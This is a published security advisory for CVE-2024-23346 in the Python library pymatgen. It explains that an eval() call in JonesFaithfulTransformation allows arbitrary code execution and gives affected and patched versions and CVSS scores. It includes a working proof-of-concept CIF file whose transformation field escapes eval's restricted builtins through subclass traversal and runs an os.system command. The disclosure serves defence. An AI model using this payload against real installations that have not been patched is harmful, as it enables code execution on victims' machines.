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Arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string

Critical
mkhorton published GHSA-vgv8-5cpj-qj2f Feb 21, 2024

Package

pip pymatgen (pip)

Affected versions

<= 2024.2.8

Patched versions

2024.2.20

Description

Summary

A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.

Details

The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval().

Vulnerable code

basis_change = [
    re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
    for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])

The use of eval, even with __builtins__ set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.

PoC

The vulnerability can be exploited as follows:

Create a file vuln.cif with the following contents:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Then, parse the cif file with the following code:

from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()

Credits

This vulnerability was found and disclosed by William Khem-Marquez.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-23346

Weaknesses

Credits